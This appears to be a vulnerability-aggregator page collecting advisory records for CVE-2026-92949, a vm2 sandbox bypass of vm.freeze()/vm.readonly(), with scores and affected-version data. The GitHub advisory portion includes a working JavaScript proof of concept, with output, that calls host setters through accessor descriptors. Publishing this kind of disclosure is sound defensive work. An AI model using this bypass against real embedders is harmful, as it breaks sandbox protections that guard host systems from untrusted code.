Public mode

No access to your tenant or devices. Every item links to its source. What this means

Sources need attention Customize Public modeDiscuss ChangeIntel on Discord

vm2 3.9.6 before 3.11.7 Sandbox Bypass via Accessor Descriptor

CVSS 4.0 6.3 MEDIUMCVSS 3.1 4.0 MEDIUMEUVD CVSS 4.0 6.3 CVSS 4.0 · [email protected] · Secondary 6.3 MEDIUMCVSS 3.1 · [email protected] · Secondary 4.0 MEDIUMCVSS_V3 Publisher rating MODERATEFixed by vm2 3.11.7CVSS_V3 CVSS_V4 Publisher rating MODERATEKEV status unknown

cve-program · CVE-2026-92949

Published

vm2 versions from 3.9.6 before 3.11.7 fail to properly restrict access to accessor properties on frozen objects, allowing sandboxed scripts to bypass vm.freeze() and vm.readonly() protections. Attackers can use Object.getOwnPropertyDescriptor() or __lookupSetter__() to extract and invoke host object setters directly, mutating properties the embedder explicitly marked read-only.

Read the publisher's advisory

euvd · EUVD-2026-81598

Published

vm2 versions from 3.9.6 before 3.11.7 fail to properly restrict access to accessor properties on frozen objects, allowing sandboxed scripts to bypass vm.freeze() and vm.readonly() protections. Attackers can use Object.getOwnPropertyDescriptor() or __lookupSetter__() to extract and invoke host object setters directly, mutating properties the embedder explicitly marked read-only.

Read the publisher's advisory

nvd · CVE-2026-92949

Published

vm2 versions from 3.9.6 before 3.11.7 fail to properly restrict access to accessor properties on frozen objects, allowing sandboxed scripts to bypass vm.freeze() and vm.readonly() protections. Attackers can use Object.getOwnPropertyDescriptor() or __lookupSetter__() to extract and invoke host object setters directly, mutating properties the embedder explicitly marked read-only.

Read the publisher's advisory

osv · GHSA-633r-hq9m-c4ff

Published

### Summary Untrusted JavaScript running inside `new VM().run()` / `new NodeVM().run()` can bypass `vm.freeze()` / `vm.readonly()` and mutate a host object the embedder explicitly marked read-only - the documented contract is "prevent sandboxed scripts from adding, changing, or deleting properties". If the frozen host object has an accessor (get/set) own-property, the sandbox can read the host setter back out via `Object.getOwnPropertyDescriptor()` and call it directly; the call lands in `BaseHandler.apply` which unwraps the readonly proxy to the raw host object and runs the host setter against it. No non-default `VM`/`NodeVM` options are required; the only precondition is that the embedder froze an object whose shape includes an accessor property. A second route to the same sink exists via `__lookupSetter__`. ### PoC ```js // poc.js 'use strict'; const { VM } = require('vm2'); let _level = 'safe'; const hostConfig = Object.defineProperty({}, 'level', { get() { return _level; }, set(v) { _level = String(v); }, enumerable: true, configurable: true, }); const vm = new VM(); vm.freeze(hostConfig, 'cfg'); // Baseline - documented barriers hold: vm.run(`cfg.level = 'via-set';`); vm.run(`try { Object.defineProperty(cfg, 'level', {value: 'via-dP'}); } catch (e) {}`); console.log('after [[Set]]/defineProperty:', _level); // → "safe" // Bypass - sandbox mutates host via accessor descriptor: vm.run(` const d = Object.getOwnPropertyDescriptor(cfg, 'level'); d.set.call(cfg, 'PWNED'); `); console.log('after getOwnPropertyDescriptor→set.call:', _level); // → "PWNED" // Variant - same sink via __lookupSetter__: vm.run(`cfg.__lookupSetter__('level').call(cfg, 'PWNED-2');`); console.log('after __lookupSetter__:', _level); // → "PWNED-2" ``` ```sh node poc.js ``` Observed output: ``` after [[Set]]/defineProperty: safe after getOwnPropertyDescriptor→set.call: PWNED after __lookupSetter__: PWNED-2 ``` The first line shows `ReadOnlyHandler`'s documented traps work; the next two show the sandbox mutated the host-side `_level` despite `vm.freeze()`. ### Impact A sandboxed script can mutate any accessor-backed property on any host object the embedder exposed via `vm.freeze()` / `vm.readonly()`, defeating the read-only contract. Data properties are not affected (`ReadOnlyHandler.set` / `.defineProperty` block those correctly). This is not a generic sandbox escape on its own; severity depends on what the embedder froze. If a frozen object's setter feeds into host control flow (e.g. `set scriptPath(v)`, `set handler(fn)`), this becomes a stepping-stone to host code execution in that embedder. **Preconditions**: embedder calls `vm.freeze()`/`vm.readonly()` on a host object that has at least one accessor own-property. Default `VM`/`NodeVM` options otherwise. **Blast radius**: integrity of the specific frozen host object(s); downstream impact is embedder-defined. **Persistence**: as persistent as the host object (typically process-lifetime).

Read the publisher's advisory

osv · GHSA-9f3g-34x8-92jc

Withdrawn

## Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-633r-hq9m-c4ff. This link is maintained to preserve external references. ## Original Description vm2 versions from 3.9.6 before 3.11.7 fail to properly restrict access to accessor properties on frozen objects, allowing sandboxed scripts to bypass vm.freeze() and vm.readonly() protections. Attackers can use Object.getOwnPropertyDescriptor() or __lookupSetter__() to extract and invoke host object setters directly, mutating properties the embedder explicitly marked read-only.

Read the publisher's advisory

Affected versions, risk and source history

cve-program · CVE-2026-92949

Published

vm2

Vendor product

Publisher's version information

Shown as published. These rules are not interpreted as NuGet package version ranges.

{
                    "vendor": "patriksimek",
                    "product": "vm2",
                    "defaultStatus": "unaffected",
                    "packageURL": "pkg:npm/vm2",
                    "versions": [
                        {
                            "version": "3.9.6",
                            "status": "affected",
                            "versionType": "semver",
                            "lessThan": "3.11.7"
                        },
                        {
                            "version": "3.11.7",
                            "status": "unaffected",
                            "versionType": "semver"
                        }
                    ]
                }

Original source record · Cite this exact observation · Complete original publisher JSON

euvd · EUVD-2026-81598

Published

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Sep 17, 2026, 1:46:09 PM

dateUpdated: Sep 21, 2026, 5:14:33 PM

No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.

Original source record · Cite this exact observation · Complete original publisher JSON

nvd · CVE-2026-92949

Published

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Deferred

Weakness classifications: CWE-471

Original publisher date fields

published: 2026-09-17T14:18:00.463

lastModified: 2026-09-21T18:17:15.850

No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.

Original source record · Cite this exact observation · Complete original publisher JSON

osv · GHSA-633r-hq9m-c4ff

Published

vm2

npm

SEMVER · introduced 3.9.6 → fixed 3.11.7

Original source record · Cite this exact observation · Complete original publisher JSON

osv · GHSA-9f3g-34x8-92jc

Withdrawn

vm2

npm

SEMVER · introduced 3.9.6 → last_affected 3.11.6

Original source record · Cite this exact observation · Complete original publisher JSON

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 12 Nov 14:22 UTC · 274 of 275 readable · 272 fully read · documentation 469/469 current